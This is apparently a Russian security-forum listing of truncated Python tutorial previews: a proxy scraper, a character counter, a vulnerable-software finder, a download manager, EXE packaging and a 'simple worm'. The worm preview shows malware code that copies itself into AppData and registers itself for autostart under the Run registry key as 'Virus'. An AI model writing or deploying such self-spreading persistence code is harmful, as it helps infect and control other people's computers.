Программирование для ИБ

Учимся писать чистый код на Python

  • 6 703
  • 8
Какое-то время покодив, я понял, что большинство программ, встречающихся в сети написаны очень грязно. Да и сам я не так сильно заморачивался с этим делом.
Давайте разберёмся, что значит грязно?

Для начала такой пример из обычной жизни - вы написали ручкой на бумаге какой-то текст и другой человек его взял почитать. Ага, но не тут-то было! Почерк настолько корявый, что на своём родном языке ничего не понятно.

Выходит один и тот же текст может как легко читаться, так и вызывать затруднения в восприятии. И конечно легко и приятно будет читать написанное в чётком исполнении.
Вот и в языке Python есть свод правил хорошего тона, стилей написания, и называется он
Разберём на примере кода из этого топика.

Анализатор кода показал огромное количество предупреждений.

pey.png


А теперь разберёмся, где можно посмотреть эти...

Считаем количество знаков в тексте

  • 5 740
  • 5
Приветствую всех читателей!

В сети много онлайн-сервисов для подсчёта слов с пробелами и без. Это может быть полезно при написании статей фрилансерами, когда есть задание на определённое количество знаков.
Но сегодня мы напишем небольшую программку, с бОльшим функционалом. Она также подсчитает количество слов, а самое главное, выведет сколько встречается каждый символ. Это очень полезно для расшифровки закодированных текстов - частотный анализ символов.

Для начала импортируем модуль pyperclip и вставим поясняющий текст.

Python:
import pyperclip

print('Скопируйте в буфер обмена текст')
print('-'*50)

input('Нажмите ENTER')
print('-'*50)

Потом вставим скопированный текст

Python:
s = pyperclip.paste()

Подсчитаем количество символов с пробелами, без пробелов, и количество слов.

Python:
n = len(s.split())
s = s.replace('\n', '')
s = s.replace('\r', '')
n1 = len(s)
s = s.replace(' ', '')
n2 = len(s)

Теперь сначала выведем скопированный...

Пишем парсер на Python - грабим Proxy ч.2

  • 25 061
  • 8
Продолжим начатое.
В прошлой СТАТЬЕ мы спарсили список прокси, и получили очищенный от мусора вывод в виде словаря. Чтобы совсем всё получилось идеально (убрать кавычки и фигурные скобки), нужно словарь перевести в строку.

Для этого напишем цикл, и разместим его сразу под словарём data. Чтобы цикл был рабочим, нужно переменную b сделать глобальной.

Python:
global  b
        d = " "
        for i in data:            
            b = data[i]
            c = i+": "+data[i]
            d = d+c+', '

Можно также убрать пробел в начале записи с помощью lstrip(), и вывод на печать будет такой print(d.lstrip())

Запускаем программу, и получаем чистый список данных в виде строк

exce.png


Но конечно лучше же иметь запись результатов в текстовом файле. Поэтому мы поменяем вывод на запись в файл и получим на выходе proxy.txt

Python:
with open('proxy.txt', 'a') as f...

Пишем парсер на Python - грабим Proxy ч.1

  • 63 761
  • 30
Приветствую тебя читатель!

Продолжение здесь: Пишем парсер на Python - грабим Proxy ч.2

Конечно же все вы когда-нибудь пользовались прокси, и сегодня мы научимся делать парсер для добычи оных.

Прокси-сервер — промежуточный сервер, позволяющий замаскировать собственное местоположение.
Парсер - это программа, которая автоматизирует сбор информации с заданных ресурсов.

Приступим:

Для начала мы накидаем такую конструкцию

Python:
import requests
from bs4 import BeautifulSoup

if __name__ == '__main__':
    main()

Модуль requests нужен для обращения к серверу, BeautifulSoup анализирует html код, и последняя запись это точка входа в главную функцию main() которую мы напишем в самом конце программы.

Далее создадим функцию get_html которая принимает аргумент site. Переменная r обращается к requests методом get и получает чтение site. Функция возвращает r выведенную в...

Делаем цветной появляющийся текст бегущей строкой

  • 4 897
  • 10
Всем привет!

В один прекрасный вечер мне загорелось сделать большой цветной появляющийся текст бегущей строкой. Нырнул в интернет посмотреть примеры и....
Оказалось, что примеров не оказалось :ROFLMAO:

Немного пошевелил мозгами и состряпал прямо сейчас такой скриптик. Строка побежала....

exp1.png

Python:
import time
import sys
from colorama import init
init()

class Bcolors:
    GN = '\033[32m'  # green

for i in ['.########', '.##.....##', '.########.', '.##.......', '..#######.', '.########.', '.########', '.########.']:
    print(Bcolors.GN + i, end='')
    sys.stdout.flush()
    time.sleep(0.2)
print('\t')
for x in ['.##......', '..##...##.', '.##.....##', '.##.......', '.##.....##', '.##.....##', '.##......', '.##.....##']:
    print(x, end='')
    sys.stdout.flush()
    time.sleep(0.2)
print('\t')
for i in ['.##......', '...##.##..', '.##.....##', '.##.......', '.##.....##', '.##.....##', '.##......', '.##.....##']:
    print(i, end='')...

Статья Пишем сценарий для определения уязвимого ПО на Python

  • 3 702
  • 8
Приветствую всех! Сегодня с утра пришла идея к написанию данного сценария. Я смог написать его и решил поделиться с вами, возможно он будет вам полезен.
Он будет получать список установленных программ в windows и искать уязвимые версии.
Скрипт сыроват, но я планирую доделать его, добавить полную автоматизацию, чтобы он показывал сразу все уязвимое ПО.
Приступим к написанию.

Вот такие либы я буду юзать:
Код:
from subprocess import check_output
import argparse
from termcolor import *
import colorama

Тк.к сценарий я пишу для windows, то чтобы был цветной текст в консоле, мы должны дописать: colorama.init()

Добавим свои аргументы:
Код:
parser = argparse.ArgumentParser(description='Find vuln PO')
parser.add_argument('-vs', help ='Vuln version PO')
parser.add_argument('-nm', help ='PO Name')
args = parser.parse_args()
vulnvers = args.vs
namepo = args.nm

Введем переменные:
Код:
count = 0
count2 = 0
s = []
s2 = []
a = check_output(["wmic"...

Статья Простой червь на python

  • 16 293
  • 10
Всем доброго времени суток, участники Codeby!
Перед шарагой нечего было делать, настрочил простенький червь на питоне, что бы он
послужил вам примером/неким представлением "тёмной" области этого языка.

Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.

Python:
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)

if not os.path.exists(directory):
    os.makedirs(directory)
    shutil.copy(__file__, base_file)

Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.

Python:
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                        r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                        0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)...

Пишем простой менеджер загрузок

  • 3 246
  • 2
Приветствую всех, эта рубрика моих никому не нужных разработок. И сегодня мы с вами будем писать простой менеджер загрузок или сценарий для загрузки больше кол-ва файлов. Попробую объяснить для чего это. Представьте что у вас есть ссылки на загрузку музыки(их очень много), вы же не будете переходить по каждой ссылке и скачивать? Мы автоматизируем этот процесс. В файле будут ссылки на скачку, а сценарий скачает их за нас.

!Пишу на python3!
Идея статьи в том, чтобы улучшить знания python читателя(возможно он откроет для себя что-то новое).
Вот такие либы я буду юзать для реализации того, что я хочу.
Код:
import requests
import random
import glob
import os
import shutil

Введем списки для работы:
Код:
site = []
files = []

Теперь реализуем чтение ссылок из файла:
Код:
handle = open('sites.txt') # Читаем файл
for x in handle: #Записуем содержимое файла в список
    site.append(x)
site = map(lambda s: s.strip(), site) # Удаляем из списка \n
site = list(site) #...

Powershell/Python: каталог статей.

Пакуем Python в EXE

  • 91 916
  • 88
Всем известно что питон это интерпретируемый, а не компилируемый язык . И в первую очередь рассчитан для работы в командной строке. Тем не менее, существует много вариантов оформления кода в GUI при необходимости. Но сегодня речь пойдёт об упаковке программы в EXE.

Зачем вообще это надо? Да по сути и не надо в большинстве случаев. Но бывает, что вы написали или скопировали какую-нибудь интересную тулзу, и хотите с ней поделиться. Конечно, если у того, кому вы отправляете прогу есть Python, то проблем нет. А бывает, что человек не шарит совсем в кодинге, и как пользователь тоже не имеет установленного питона нужной версии.

Вот тогда и выручает упаковка файла или файлов в EXE. Такой файл будет запускаться и работать по клику мышки, всё очень просто.

Для сборки файлов в экзешник есть разные приложения. Я рассмотрю самый простой, без всяких заморочек, с которым разберётся любой новичок.

Скачиваем прогу [SPOILER="Convert to...